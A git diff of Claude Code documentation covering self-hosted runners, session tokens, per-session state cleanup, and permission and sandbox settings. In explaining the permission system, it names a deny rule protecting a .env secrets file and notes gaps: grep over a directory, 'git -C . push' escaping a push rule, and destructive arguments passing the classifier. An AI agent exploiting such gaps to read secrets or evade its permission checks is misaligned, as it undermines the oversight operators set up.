cloud](/docs/en/claude-code-on-the-web); to configure network access for cloud sessions, see [Configure cloud environments](/docs/en/cloud-environments#network-access). [Remote Control](/docs/en/remote-control) sessions work differently: the web interface connects to a Claude Code process running on your local machine. All code execution and file access stays local, and session traffic travels through the Anthropic API over TLS; while connected, the session transcript is stored on Anthropic servers to sync the conversation across devices, as described in [Connection and security](/docs/en/remote-control#connection-and-security). No cloud VMs or sandboxing are involved. The connection uses multiple short-lived, narrowly scoped credentials, each limited to a specific purpose and expiring independently, to limit the blast radius of any single compromised credential. diff --git a/content/en/docs/claude-code/self-hosted-environments-configuration.md b/content/en/docs/claude-code/self-hosted-environments-configuration.md index af2b2d6ef9..1fdcdc880d 100644 --- a/content/en/docs/claude-code/self-hosted-environments-configuration.md +++ b/content/en/docs/claude-code/self-hosted-environments-configuration.md @@ -31,11 +31,11 @@ The runner sets the following in the wrapper's environment: | `CLAUDE_CODE_SESSION_ACCESS_TOKEN` | The session JWT, prefixed `sk-ant-cc-`. Its `act` claim identifies the session creator, with the creator's email and upstream identity-provider subject when the creating surface recorded them. The value is the token at spawn time; refreshes arrive over the child's stdin, so a wrapper sees only the initial value. See [Verify session identity](/docs/en/self-hosted-environments-identity). | | `CCR_SESSION_ACCOUNT_EMAIL` | The session creator's email, pre-extracted by the runner from the token's `act.email` claim without signature verification. Suitable for labelling, such as commit trailers. When the email gates credential issuance, verify the token and read the claim from it instead; see [Provision credentials scoped to the session creator](#provision-credentials-scoped-to-the-session-creator). Unset when the token carries no creator email. Treat as personally identifiable information. | | `CLAUDE_RUNNER_CLIENT_PLATFORM` | The client surface that created the session, such as `web_claude_ai`, `desktop_app`, `ios`, `claude_code_cli`, or `scheduled_trigger`. Anthropic records the value once at session creation, so the wrapper and every lifecycle hook see the same value. Use it for adoption analytics and labelling only, not as an authorization signal. Unset when the session has no recorded or recognized surface, so reference it as `${CLAUDE_RUNNER_CLIENT_PLATFORM:-}` under `set -u`. Requires Claude Code v2.1.229 or later. | -| `CLAUDE_RUNNER_CLAUDE_BIN` | Absolute path to the runner's own Claude Code binary. End your wrapper with `exec "$CLAUDE_RUNNER_CLAUDE_BIN" "$@"` to hand off to the pinned binary without hardcoding an install path. | +| `CLAUDE_RUNNER_CLAUDE_BIN` | Absolute path to the runner's own Claude Code binary. End your wrapper with `exec "$CLAUDE_RUNNER_CLAUDE_BIN" "$@"` to pass control to the pinned binary without hardcoding an install path. | | `CLAUDE_CODE_REMOTE_SESSION_ID` | Session ID in the tagged `cse_...` form. This is the same session the [lifecycle hooks](#lifecycle-hooks) see as `CLAUDE_RUNNER_SESSION_ID` in `session_...` form; the UUID variables match across both, and substituting the `cse_` prefix with `session_` yields the ID shown in the session URL. | | `CLAUDE_CODE_REMOTE_SESSION_UUID` | The same session ID in canonical UUID form, for systems that key on UUIDs. | | `CLAUDE_SESSION_INGRESS_TOKEN_FILE` | Absolute path to a per-session file holding the current session JWT, kept fresh across token refreshes. Shell subprocesses read it for their `Authorization` header when downloading attachments the user added to the session. `exec` preserves the variable automatically; a wrapper that rebuilds the child's environment must carry the variable over, or attachment downloads silently stop working. | -| `CLAUDE_CONFIG_DIR` | Per-session Claude config directory, written at session start from the snapshot of the runner host's config that the runner captures at startup; see [Permissions and tool approval](#permissions-and-tool-approval). Writes here are isolated to this session. | +| `CLAUDE_CONFIG_DIR` | Per-session Claude config directory, written at session start from the snapshot of the runner host's config that the runner captures at startup; see [Permissions and tool approval](#permissions-and-tool-approval). Writes here are isolated to this session. The directory stays under `/_sessions/` after the session ends unless you start the runner with [`--remove-session-state`](/docs/en/self-hosted-environments-reference#runner-cli-flags); see [Reuse a pre-warmed checkout](/docs/en/self-hosted-environments-deploy#reuse-a-pre-warmed-checkout). | | `ANTHROPIC_BASE_URL` | The API base URL the child will use, delivered by the control plane per session and normally `https://api.anthropic.com`. Don't override it: the session's inference credential is an Anthropic-issued OAuth token that other providers don't accept, so inference in self-hosted environments isn't routable elsewhere. | | `CLAUDE_CODE_OAUTH_TOKEN` | The short-lived OAuth access token the child uses for model inference, scoped to model inference and file upload only, with a lifetime of about 30 minutes. The runner re-mints it before expiry and delivers the rotation over the child's stdin, so a wrapper that doesn't [keep stdin attached](#keep-stdin-and-file-descriptor-3-attached) sees only the initial value. Don't rely on your organization's IP allowlist to bound this token's use: treat it as a bearer credential that stays usable for roughly 30 minutes if it leaks, and don't log it, write it to disk, or forward it outside the session container. | diff --git a/content/en/docs/claude-code/self-hosted-environments-deploy.md b/content/en/docs/claude-code/self-hosted-environments-deploy.md index 5864ea1c30..3fc06caef6 100644 --- a/content/en/docs/claude-code/self-hosted-environments-deploy.md +++ b/content/en/docs/claude-code/self-hosted-environments-deploy.md @@ -388,6 +388,10 @@ What the reuse path does and doesn't guarantee: * **Any clone shape works**: a full, shallow, or single-branch clone at the path is used as-is. The runner never passes `--depth` when fetching into an existing clone, so a full pre-warm keeps its full history and a shallow one stays shallow. `CLAUDE_RUNNER_FETCH_DEPTH` (`full`, `0`, or a number; default 50) controls only the cold clone the runner makes when no clone exists yet. * **Tracked changes reset, untracked files persist**: each session starts from a hard reset that wipes the previous session's tracked modifications, but the runner never runs `git clean`, so untracked files from the locked owner's earlier sessions stay in the tree. +* **Per-session directories persist too**: alongside the checkout, the runner creates per-session entries under `/_sessions/` for every session it runs. The session's Claude config directory holds a local copy of the conversation transcript. Next to it sit the session's uploaded files, when the session has any. The session directory sits there too: it holds any per-session worktrees and `checkout` hook checkouts while the session runs, and it keeps whatever else Claude wrote in it. + + By default the runner leaves these in place when the session ends, so on a disk that outlives the runner process they accumulate. Every session runs as the runner's own user, so any later session that disk serves can read them. If you keep a persistent `--base-dir`, size the volume for that growth. The same applies to any setup that restarts the runner on the same filesystem, including the [Docker Compose recipe](#docker-compose). +* **With `--remove-session-state`, per-session directories don't persist**: start the runner with [`--remove-session-state`](/docs/en/self-hosted-environments-reference#runner-cli-flags) to have it delete each session's per-session directories as the session ends. The deletion is best-effort: the directories stay when the runner is killed before its cleanup runs. The canonical clone and files a session wrote elsewhere on the host, such as the temporary directory, stay regardless. * **With the git proxy, the reset becomes a checkout**: with [`--use-anthropic-git-proxy`](#use-the-anthropic-git-proxy), the runner sanitizes the clone's `.git/` before each session, keeping the object store, refs, and shallow state but deleting the index, so each session pays a full working-tree checkout instead of a near-instant reset; it still never re-clones. Submodule pre-warms aren't supported under the proxy. * **Long clones need no workaround**: the runner bounds each git operation with a 120-second no-progress watchdog and a 30-minute hard cap, not a flat timeout, so a slow cold clone that keeps reporting progress completes. @@ -468,7 +472,9 @@ Common issues: * **Sessions take minutes to start**: the initial clone usually dominates. Watch the `claude_code_self_hosted_runner_session_init_duration_seconds` [metric](/docs/en/self-hosted-environments-reference#prometheus-metrics) to confirm, and cut the clone with a [pre-warmed checkout](#reuse-a-pre-warmed-checkout) or a smaller `CLAUDE_RUNNER_FETCH_DEPTH`. * **Pod is killed mid-drain**: raise `terminationGracePeriodSeconds` to at least the value the runner logs at startup. See [Shutdown timing](#shutdown-timing). -Once logging is initialized, the runner writes its lifecycle log, including `[runner:fatal]` lines, to stdout, and debug output to stderr, all as plain-text lines rather than JSON. The startup failures described in the troubleshooting entries above print to stderr before that point. Capture both streams with `--log-file`, which also lets `self-hosted-runner doctor` tail them, or with your platform's log collection. Each session's child process writes a separate debug log. On failure the runner preserves the log, prints the log's path in the runner log, and surfaces the log's tail alongside the session in claude.ai/code. +Once logging is initialized, the runner writes its lifecycle log, including `[runner:fatal]` lines, to stdout, and debug output to stderr, all as plain-text lines rather than JSON. The startup failures described in the troubleshooting entries above print to stderr before that point. Capture both streams with `--log-file`, which also lets `self-hosted-runner doctor` tail them, or with your platform's log collection. + +Each session's child process writes a separate debug log. On failure the runner surfaces the log's tail alongside the session in claude.ai/code. Unless you started the runner with [`--remove-session-state`](/docs/en/self-hosted-environments-reference#runner-cli-flags), it also keeps a failed session's log on disk and prints its path in the runner log. ## What's next diff --git a/content/en/docs/claude-code/self-hosted-environments-identity.md b/content/en/docs/claude-code/self-hosted-environments-identity.md index c866245674..e92786952f 100644 --- a/content/en/docs/claude-code/self-hosted-environments-identity.md +++ b/content/en/docs/claude-code/self-hosted-environments-identity.md @@ -10,7 +10,7 @@ Self-hosted environments are in public beta on Team and Enterprise plans; an [Owner](/docs/en/cloud-environments#organization-shared-environments) enables them by turning on **Allow self-hosted environments** on the [**Cloud environments** admin page](https://claude.ai/admin-settings/cloud-environments). This page covers session identity verification; see the [quickstart](/docs/en/self-hosted-environments-quickstart) for setup and [Deploy to production](/docs/en/self-hosted-environments-deploy) for the fleet recipes. -A [self-hosted environment](/docs/en/self-hosted-environments) lets [Claude Code on the web](/docs/en/claude-code-on-the-web) sessions run on infrastructure you operate instead of on Anthropic's. Because the session runs inside your network, Claude can call your internal services directly. Those services need a way to confirm that a request came from a Claude Code session in your environment, and to identify the user or service identity that created that session. +A [self-hosted environment](/docs/en/self-hosted-environments) lets Claude Code [cloud sessions](/docs/en/claude-code-on-the-web) run on infrastructure you operate instead of on Anthropic's. Because the session runs inside your network, Claude can call your internal services directly. Those services need a way to confirm that a request came from a Claude Code session in your environment, and to identify the user or service identity that created that session. Every session in a self-hosted environment receives a signed JSON Web Token (JWT) in the `CLAUDE_CODE_SESSION_ACCESS_TOKEN` environment variable. A session presents the token like any bearer credential; for example, a script Claude runs can call your service with `curl -H "Authorization: Bearer $CLAUDE_CODE_SESSION_ACCESS_TOKEN"`. Anthropic signs the token and publishes the verification keys at a public JWKS endpoint. Your services fetch those keys, verify the signature, and read the claims to decide what access to grant. diff --git a/content/en/docs/claude-code/self-hosted-environments-reference.md b/content/en/docs/claude-code/self-hosted-environments-reference.md index 798221945d..376d94980f 100644 --- a/content/en/docs/claude-code/self-hosted-environments-reference.md +++ b/content/en/docs/claude-code/self-hosted-environments-reference.md @@ -48,6 +48,7 @@ Most flags have a corresponding environment variable. When both are set, the fla | `--proxy-authorization-file ` | `SELF_HOSTED_RUNNER_PROXY_AUTHORIZATION_FILE` | unset | File the runner reads for every connection to your egress proxy, using its trimmed contents as the `Proxy-Authorization` header value. Use this flag for a token another process rotates in place. Carries the same requirements as `--proxy-authorization-command`, and can't be combined with it. See [Authenticate to an egress proxy](/docs/en/self-hosted-environments-deploy#authenticate-to-an-egress-proxy). Requires Claude Code v2.1.238 or later. | | `--push-outcome-on-release` | `SELF_HOSTED_RUNNER_PUSH_OUTCOME_ON_RELEASE` | off | On a runner-initiated session end such as a drain or idle release, push tracked outcome branches to `origin` before deleting the workspace, so in-flight commits survive a restart. Best-effort; adds 30 seconds to the shutdown budget, and requires git 2.29 or newer to resume from the pushed branch. Restrict push access to `claude/*` refs before enabling; see [Resumed sessions lose unpushed work](/docs/en/self-hosted-environments-deploy#additional-limitations). Repositories checked out via a `checkout` lifecycle hook aren't pushed; snapshot those from the [`post-session` hook](/docs/en/self-hosted-environments-configuration#post-session) instead. | | `--release-idle-session-min ` | `SELF_HOSTED_RUNNER_SESSION_IDLE_MS` | `0` | Release a session slot after N minutes of inactivity once a turn finishes or the session waits for the user's action. A session that's still mid-turn, including one holding a never-finishing background task or an approval requested from inside a running tool call, doesn't count as idle; pair with `--kill-session-after-min` as the hard backstop. After a session's background task finishes, the runner considers the session busy until the follow-up turn that reads the result starts, for at most the [`SELF_HOSTED_RUNNER_BG_RESULT_GRACE_MS`](#environment-variable-only-settings) window. Until the runner receives a shutdown signal or reaches its retire time, a release that leaves the runner with no active sessions starts the same exit path as a normal drain, governed by `--drain-grace-sec`. After a first signal you deferred with [`--defer-shutdown-max-min`](/docs/en/self-hosted-environments-deploy#defer-the-drain-past-the-first-signal), the runner exits as soon as a release leaves it holding no sessions. `0` disables. | +| `--remove-session-state [bool]` | `SELF_HOSTED_RUNNER_REMOVE_SESSION_STATE` | off | Remove a session's per-session directories under `/_sessions/` when the session ends on this runner, whatever the outcome. [Reuse a pre-warmed checkout](/docs/en/self-hosted-environments-deploy#reuse-a-pre-warmed-checkout) describes what they hold and who can read them when they stay. The removal is best-effort: the per-session directories stay in place when the runner is killed or reaches its drain deadline before cleanup runs. With the flag on, a failed or interrupted session's debug log isn't kept on disk. Requires Claude Code v2.1.268 or later. | | `--retire-at ` | `SELF_HOSTED_RUNNER_RETIRE_AT` | unset | Retire the runner at an absolute Unix timestamp in seconds, for infrastructure that kills the runner at a known time; [Runner lifecycle](/docs/en/self-hosted-environments#runner-lifecycle) describes the release sequence and how to size the margin. Values before 2001 or after the year 5138 are rejected by the flag and ignored by the environment variable. | | `--session-stop-grace-sec ` | `SELF_HOSTED_RUNNER_SESSION_STOP_GRACE_MS` | `5` | How long to wait for the Claude process to exit cleanly after a session ends, before force-killing it. Raise the value if the child's own `SessionEnd` hooks need more time. | | `--startup-timeout-min ` | `SELF_HOSTED_RUNNER_STARTUP_TIMEOUT_MS` | `15` | Release a session slot if the child hasn't signaled that it initialized within N minutes of spawn. Cleared by the child's init signal on the [activity channel](/docs/en/self-hosted-environments-configuration#keep-stdin-and-file-descriptor-3-attached), not by ordinary output, after which `--release-idle-session-min` takes over. `0` disables. | diff --git a/content/en/docs/claude-code/self-hosted-environments-testing.md b/content/en/docs/claude-code/self-hosted-environments-testing.md index 4271fed94c..ce82a1e557 100644 --- a/content/en/docs/claude-code/self-hosted-environments-testing.md +++ b/content/en/docs/claude-code/self-hosted-environments-testing.md @@ -68,7 +68,7 @@ exit 0 ### Before you start the runner -Two things the hook depends on: +The hook has these requirements: * Install it before you start the runner. The runner snapshots `~/.claude/` once at startup, so a hook added to a running runner takes effect only after a restart. * Export `E2E_REPLY_DIR` to the runner process. The hook is a no-op when the variable is unset or the directory doesn't exist, so set it wherever you start the runner, such as the systemd unit, pod spec, or CI step. The test script below requires it too. @@ -194,7 +194,7 @@ The CLI refreshes the short-lived access token automatically on each invocation, ### Ephemeral CI runners -There is no long-lived CI token for this today. The scope that grants remote-session control, `user:sessions:claude_code`, is capped server-side at 30 days, so `claude setup-token`, which mints a one-year inference-only token, doesn't cover it. The [environment secret](/docs/en/self-hosted-environments-quickstart#set-up-an-environment-and-runner) isn't accepted either, since it only authorizes a runner to register with the environment, not to create sessions. +There is no long-lived CI token for this today. The scope that grants cloud-session control, `user:sessions:claude_code`, is capped server-side at 30 days, so `claude setup-token`, which mints a one-year inference-only token, doesn't cover it. The [environment secret](/docs/en/self-hosted-environments-quickstart#set-up-an-environment-and-runner) isn't accepted either, since it only authorizes a runner to register with the environment, not to create sessions. To provision a stored login onto an ephemeral runner, set [`CLAUDE_CODE_OAUTH_REFRESH_TOKEN` and `CLAUDE_CODE_OAUTH_SCOPES`](/docs/en/env-vars#variables) so `claude auth login` exchanges the token without a browser; the same 30-day cap applies to the refresh grant. Contact your Anthropic account team if you need a machine-identity path that isn't bound to a human account. diff --git a/content/en/docs/claude-code/self-hosted-environments.md b/content/en/docs/claude-code/self-hosted-environments.md index 2f289afa71..347cf9cc18 100644 --- a/content/en/docs/claude-code/self-hosted-environments.md +++ b/content/en/docs/claude-code/self-hosted-environments.md @@ -10,7 +10,7 @@ Self-hosted environments are in public beta on Team and Enterprise plans and are off by default. See [Availability and limitations](#availability-and-limitations) for the enablement path and what's excluded. -A self-hosted environment executes Claude Code cloud sessions on infrastructure your organization operates. A [cloud session](/docs/en/claude-code-on-the-web) is any session that runs somewhere other than the developer's machine: developers start them from claude.ai, the mobile and desktop apps, the terminal with [`claude --cloud`](/docs/en/claude-code-on-the-web#from-terminal-to-web), and [scheduled routines](/docs/en/routines), and by default they execute on Anthropic's infrastructure. In a self-hosted environment, those same sessions execute inside your network, and the developer experience is otherwise the same apart from the differences in [Availability and limitations](#availability-and-limitations) and the deploy page's [known issues](/docs/en/self-hosted-environments-deploy#known-issues-and-limitations). +A self-hosted environment executes Claude Code cloud sessions on infrastructure your organization operates. A [cloud session](/docs/en/claude-code-on-the-web) is any session that runs somewhere other than the developer's machine: developers start them from claude.ai, the mobile and desktop apps, the terminal with [`claude --cloud`](/docs/en/claude-code-on-the-web#from-terminal-to-cloud), and [scheduled routines](/docs/en/routines), and by default they execute on Anthropic's infrastructure. In a self-hosted environment, those same sessions execute inside your network, and the developer experience is otherwise the same apart from the differences in [Availability and limitations](#availability-and-limitations) and the deploy page's [known issues](/docs/en/self-hosted-environments-deploy#known-issues-and-limitations). If your team doesn't use cloud sessions, there's nothing here to configure: sessions in a terminal or IDE always run on the developer's own machine. If you want to run Claude Code on your own always-on machine and drive it from other devices, use [Remote Control](/docs/en/remote-control), which is also available on Pro and Max plans. When you're ready to set up, go straight to the [quickstart](/docs/en/self-hosted-environments-quickstart); to review the security posture first, start with [Deploy to production](/docs/en/self-hosted-environments-deploy). The rest of this page explains how self-hosting works and when to choose it. @@ -40,10 +40,10 @@ You can start runners yourself and keep them running, or run the [autoscaling or Check these before planning a rollout: -* **Plans**: public beta for Team and Enterprise organizations. Self-hosted environments are off by default; an [Owner](/docs/en/cloud-environments#organization-shared-environments) turns on **Allow self-hosted environments** on the [**Cloud environments** admin page](https://claude.ai/admin-settings/cloud-environments), which requires [Claude Code on the web](/docs/en/claude-code-on-the-web) to be enabled for the organization. +* **Plans**: public beta for Team and Enterprise organizations. Self-hosted environments are off by default; an [Owner](/docs/en/cloud-environments#organization-shared-environments) turns on **Allow self-hosted environments** on the [**Cloud environments** admin page](https://claude.ai/admin-settings/cloud-environments), which requires [cloud sessions](/docs/en/claude-code-on-the-web) to be enabled for the organization. * **Zero Data Retention**: unavailable for organizations with [Zero Data Retention](/docs/en/zero-data-retention) enabled. * **Model inference**: sessions use the Anthropic API, and inference can't be routed through [Amazon Bedrock, Google Cloud's Agent Platform, Microsoft Foundry](/docs/en/third-party-integrations), or an [LLM gateway](/docs/en/llm-gateway). -* **Surfaces**: sessions started from [Claude Code on the web](/docs/en/claude-code-on-the-web), the mobile and desktop apps, [scheduled routines](/docs/en/routines), and the terminal, with [`claude --cloud`](/docs/en/claude-code-on-the-web#from-terminal-to-web) or an [`--environment` dispatch](/docs/en/self-hosted-environments-testing#run-the-test-loop), can run in self-hosted environments. [Claude Tag](https://claude.com/docs/claude-tag/overview) sessions can run in them too, but Claude can't use [Access bundles](https://claude.com/docs/claude-tag/concepts/glossary#access-bundle) in those sessions yet. [Claude Security](/docs/en/claude-security) and [Code Review](/docs/en/code-review) sessions don't route to them yet. Support for those two surfaces follows separately. +* **Surfaces**: sessions started from [claude.ai/code](https://claude.ai/code), the mobile and desktop apps, [scheduled routines](/docs/en/routines), and the terminal, with [`claude --cloud`](/docs/en/claude-code-on-the-web#from-terminal-to-cloud) or an [`--environment` dispatch](/docs/en/self-hosted-environments-testing#run-the-test-loop), can run in self-hosted environments. [Claude Tag](https://claude.com/docs/claude-tag/overview) sessions can run in them too, but Claude can't use [Access bundles](https://claude.com/docs/claude-tag/concepts/glossary#access-bundle) in those sessions yet. [Claude Security](/docs/en/claude-security) and [Code Review](/docs/en/code-review) sessions don't route to them yet. Support for those two surfaces follows separately. * **Repositories**: sessions check out repositories from GitHub; see [GitHub authentication options](/docs/en/claude-code-on-the-web#github-authentication-options). * **Billing**: sessions in a self-hosted environment consume your organization's Claude Code usage the same way sessions in Anthropic-hosted environments do. diff --git a/content/en/docs/claude-code/server-managed-settings.md b/content/en/docs/claude-code/server-managed-settings.md index bf1acd795a..192688f572 100644 --- a/content/en/docs/claude-code/server-managed-settings.md +++ b/content/en/docs/claude-code/server-managed-settings.md @@ -29,7 +29,7 @@ Claude Code supports two approaches for centralized configuration. Server-manage | **Server-managed settings** | Organizations without MDM, or users on unmanaged devices | Settings that Claude Code fetches from Anthropic's servers at startup and refreshes hourly during the session | | **[Endpoint-managed settings](/docs/en/managed-settings#delivery-mechanisms)** | Organizations with MDM or endpoint management | Settings deployed to devices via MDM configuration profiles, registry policies, or managed settings files | -If your devices are enrolled in an MDM or endpoint management solution, endpoint-managed settings provide stronger security guarantees because the settings file can be protected from user modification at the OS level. Endpoint-managed settings don't reach [cloud sessions](/docs/en/model-config#surface-coverage) in Anthropic-hosted environments, so organizations using Claude Code on the web should configure server-managed settings as well. Sessions in a [self-hosted environment](/docs/en/self-hosted-environments) also read the managed settings file in the runner image. The [settings precedence](#settings-precedence) below says when that file applies. +If your devices are enrolled in an MDM or endpoint management solution, endpoint-managed settings provide stronger security guarantees because the settings file can be protected from user modification at the OS level. Endpoint-managed settings don't reach [cloud sessions](/docs/en/model-config#surface-coverage) in Anthropic-hosted environments, so organizations whose developers run cloud sessions should configure server-managed settings as well. Sessions in a [self-hosted environment](/docs/en/self-hosted-environments) also read the managed settings file in the runner image. The [settings precedence](#settings-precedence) below says when that file applies. ## Configure server-managed settings diff --git a/content/en/docs/claude-code/sessions.md b/content/en/docs/claude-code/sessions.md index d2ae00806b..bacbfbe5ab 100644 --- a/content/en/docs/claude-code/sessions.md +++ b/content/en/docs/claude-code/sessions.md @@ -8,7 +8,7 @@ A session is a saved conversation tied to a project directory. Claude Code stores it locally as you work, so you can resume where you left off, branch to try a different approach, or switch between tasks. -The [desktop app](/docs/en/desktop#work-in-parallel-with-sessions), [Claude Code on the web](/docs/en/claude-code-on-the-web), and the [VS Code extension](/docs/en/vs-code#resume-past-conversations) each maintain their own session history. This page covers the CLI. +The [desktop app](/docs/en/desktop#work-in-parallel-with-sessions), [claude.ai/code](/docs/en/claude-code-on-the-web), and the [VS Code extension](/docs/en/vs-code#resume-past-conversations) each maintain their own session history. This page covers the CLI. ## Resume a session diff --git a/content/en/docs/claude-code/settings-example.md b/content/en/docs/claude-code/settings-example.md index e76917ae44..ccf89f6636 100644 --- a/content/en/docs/claude-code/settings-example.md +++ b/content/en/docs/claude-code/settings-example.md @@ -94,7 +94,7 @@ One developer's personal settings. It picks a model and effort, adjusts the term One team's shared settings, committed to the repository so everyone who clones it gets the same permissions, hooks, telemetry, and plugin marketplace. Save a file like this at `.claude/settings.json` at the top of the repository. What to know before you commit one: -* **Cloud sessions read it too.** A [cloud session](/docs/en/settings#settings-in-cloud-sessions) on Claude Code on the web starts from a clone of the repository, so the committed file applies there as well. +* **Cloud sessions read it too.** A [cloud session](/docs/en/settings#settings-in-cloud-sessions) starts from a clone of the repository, so the committed file applies there as well. * **Allow rules wait for trust.** Allow rules and `extraKnownMarketplaces` entries take effect after each person [trusts this folder itself](/docs/en/permissions#project-allow-rules-and-workspace-trust), not only a parent folder; deny and ask rules apply in every session, trusted or not. * **The hook is a script in the repo.** This file's hook runs `.claude/hooks/block-rm.sh`; [How a hook resolves](/docs/en/hooks#how-a-hook-resolves) walks through writing it. * **Rules match the command and path as written.** `Bash(git push *)` doesn't match [`git -C . push`](/docs/en/permissions#bash-rule-limits). `Read(./.env)` on its own stops the file tools and commands that name the file, such as `cat .env`, but not [`grep -r` run over the directory](/docs/en/permissions#read-and-edit); the `sandbox` block in this file closes that gap, because the sandbox [adds your `Read` deny paths](/docs/en/settings-reference#sandbox-filesystem-denyread) to what every sandboxed command can't read. diff --git a/content/en/docs/claude-code/settings-reference.md b/content/en/docs/claude-code/settings-reference.md index d567cf469d..0e6474e645 100644 --- a/content/en/docs/claude-code/settings-reference.md +++ b/content/en/docs/claude-code/settings-reference.md @@ -622,6 +622,7 @@ scope: "Which settings files can set the key: user (~/.claude/settings.json), pr | [`awsAuthRefresh`](#awsauthrefresh) | Refresh expired [Bedrock credentials](/docs/en/amazon-bedrock#advanced-credential-configuration) in `.aws` with your own command | Authentication and providers | Any file | | [`awsCredentialExport`](#awscredentialexport) | Supply [Bedrock credentials](/docs/en/amazon-bedrock#advanced-credential-configuration) as JSON from your own command | Authentication and providers | Any file | | [`axScreenReader`](#axscreenreader) | Render [screen-reader friendly output](/docs/en/accessibility) | Interface and terminal | Any file | +| [`bashEditDiffEnabled`](#basheditdiffenabled) | Record the [files a Bash command changed](/docs/en/hooks#bash) in every permission mode | Interface and terminal | User or managed | | [`bashOutputMaxChars`](#bashoutputmaxchars) | Set how much of a successful command's [output](/docs/en/tools-reference#output-limits) Claude receives inline | Memory and context | Any file | | [`blockedMarketplaces`](#blockedmarketplaces) | Block [plugin marketplace](/docs/en/plugin-marketplaces) sources for your organization | Plugins and skills | Managed | | [`browserExternalPageTools`](#browserexternalpagetools) | Keep Claude's tools off external pages in the [desktop](/docs/en/desktop) Browser pane | Tools | Managed | @@ -677,6 +678,7 @@ scope: "Which settings files can set the key: user (~/.claude/settings.json), pr | [`forceLoginMethod`](#forceloginmethod) | [Restrict login](/docs/en/authentication#restrict-login-to-your-organization) to claude.ai, Claude Console, or a [cloud gateway](/docs/en/claude-apps-gateway) | Authentication and providers | Any file | | [`forceLoginOrgUUID`](#forceloginorguuid) | [Pin claude.ai logins to your organization](/docs/en/authentication#restrict-login-to-your-organization); only a managed source enforces it | Authentication and providers | Any file | | [`forceRemoteSettingsRefresh`](#forceremotesettingsrefresh) | Block startup until [server-managed settings](/docs/en/server-managed-settings) are freshly fetched | Enterprise and managed settings | Managed | +| [`gatewayInternalNetworks`](#gatewayinternalnetworks) | Let `/login` reach a [cloud gateway](/docs/en/claude-apps-gateway#allow-a-gateway-on-public-address-space-you-own) on public IPv4 space your organization uses internally | Authentication and providers | Managed | | [`gcpAuthRefresh`](#gcpauthrefresh) | Refresh [Google Cloud credentials](/docs/en/google-vertex-ai#advanced-credential-configuration) with your own command | Authentication and providers | Any file | | [`hooks`](#hooks) | Run your own commands as [hooks](/docs/en/hooks) at points in Claude Code's lifecycle | Hooks and automation | Any file | | [`httpHookAllowedEnvVars`](#httphookallowedenvvars) | Limit which env vars [HTTP hooks](/docs/en/hooks) can put in headers | Hooks and automation | Any file | @@ -1359,12 +1361,12 @@ When more than one of those files sets the same array, Claude Code concatenates ### `autoMode.classifyAllShell` -Send every Bash and PowerShell command through the auto mode classifier while auto mode is active. By default, auto mode suspends only allow rules that could run arbitrary code: tool-wide and wildcard rules such as `Bash(*)`, and interpreter or shell-wrapper prefixes such as `Bash(python *)`. A command that any other allow rule matches, such as `Bash(npm test)`, skips the classifier, and a destructive argument the rule's prefix didn't anticipate can get through unseen. Setting this key suspends every shell allow rule for the session so the classifier sees every command. Requires Claude Code v2.1.193 or later. +Send every Bash and PowerShell command through the auto mode classifier while auto mode is active. By default, auto mode suspends only allow rules that could run arbitrary code: tool-wide and wildcard rules such as `Bash(*)`, and interpreter or shell-wrapper prefixes such as `Bash(python *)`. A command that any other allow rule matches, such as `Bash(npm test)`, skips the classifier unless it carries [per-command allowed domains](/docs/en/sandboxing#per-command-allowed-domains-in-auto-mode). When it skips, a destructive argument the rule's prefix didn't anticipate can get through unseen. Setting this key suspends every shell allow rule for the session so the classifier sees every command. Requires Claude Code v2.1.193 or later. * **Scope**: [`User or managed`](#scopes). Read wherever [`autoMode`](#automode) is read. * **Type**: Boolean * `true`: while auto mode is active, Claude Code sends every Bash and PowerShell command through the classifier and suspends your shell allow rules; outside auto mode the rules still apply - * `false`: auto mode suspends only allow rules that could run arbitrary code, such as `Bash(*)` and `Bash(python *)`; a command that any other allow rule matches skips the classifier, and every other shell command goes through it + * `false`: auto mode suspends only allow rules that could run arbitrary code, such as `Bash(*)` and `Bash(python *)`; a command that any other allow rule matches skips the classifier unless it carries [per-command allowed domains](/docs/en/sandboxing#per-command-allowed-domains-in-auto-mode), and every other shell command goes through it * **Default**: `false` ```json settings.json theme={null} @@ -1536,6 +1538,8 @@ Like `allow` rules, entries in a project's `.claude/settings.json` take effect o Stop Claude from reading paths outside the session's [working directories](/docs/en/permissions#working-directories) with the Read, Grep, Glob, and LSP tools, in every permission mode including `bypassPermissions`. A Bash command that reads a matching path through a file command Claude Code recognizes, such as `cat`, prompts you even in auto mode and `bypassPermissions` mode. Requires Claude Code v2.1.257 or later. +A Bash command the shell parser can't trace, such as one that changes directory more than once or runs a subshell, prompts you even in auto mode and `bypassPermissions` mode. The prompt appears even when the command names no path outside the working directories. This prompt doesn't apply when the command runs in the [sandbox](/docs/en/sandboxing) and the sandbox enforces the block. + Claude Code also writes `true` here when you choose to block such reads on [auto mode's prompt before the first read outside the working directories](/docs/en/permission-modes#first-read-outside-the-working-directories). * **Scope**: [`Any file`](#scopes). If any settings source sets `true`, the block applies, so a repository's checked-in file can turn the block on for a project but can't lift a block you set. @@ -1582,7 +1586,7 @@ Set the [permission mode](/docs/en/permission-modes) new sessions start in. When } ``` -Permission rules layer on top of every mode: `deny` rules block in every mode, including `bypassPermissions`. See [Permission modes](/docs/en/permission-modes). `manual` names the permission mode labeled Manual in the CLI and the VS Code extension; the alias requires Claude Code v2.1.200 or later. In Claude Code on the web, Claude Code honors only `acceptEdits`, `plan`, `default`, and `auto` from this key. For conversations the VS Code extension starts, see [which setting the extension reads for the starting permission mode](/docs/en/permission-modes#switch-permission-modes). +Permission rules layer on top of every mode: `deny` rules block in every mode, including `bypassPermissions`. See [Permission modes](/docs/en/permission-modes). `manual` names the permission mode labeled Manual in the CLI and the VS Code extension; the alias requires Claude Code v2.1.200 or later. In cloud sessions, Claude Code honors only `acceptEdits`, `plan`, `default`, and `auto` from this key. For conversations the VS Code extension starts, see [which setting the extension reads for the starting permission mode](/docs/en/permission-modes#switch-permission-modes). ### `permissions.disableBypassPermissionsMode` @@ -2514,7 +2518,7 @@ Deny sandboxed commands access to hosts outside the allowlist instead of prompti * **Scope**: [`User or managed`](#scopes). A repository can't turn it on or off. * **Type**: Boolean * `true`: Claude Code denies sandboxed commands access to hosts outside the allowlist - * `false`: unless another trusted settings file sets `true`, Claude Code decides a host outside the allowlist by permission mode instead of denying it outright: it runs the classifier in auto mode, denies in `dontAsk` mode, allows in `bypassPermissions` mode and in interactive terminal plan-mode sessions where bypass is available, and otherwise asks you + * `false`: unless another trusted settings file sets `true`, Claude Code decides a host outside the allowlist by permission mode instead of denying it outright: in auto mode it checks the host against the command's 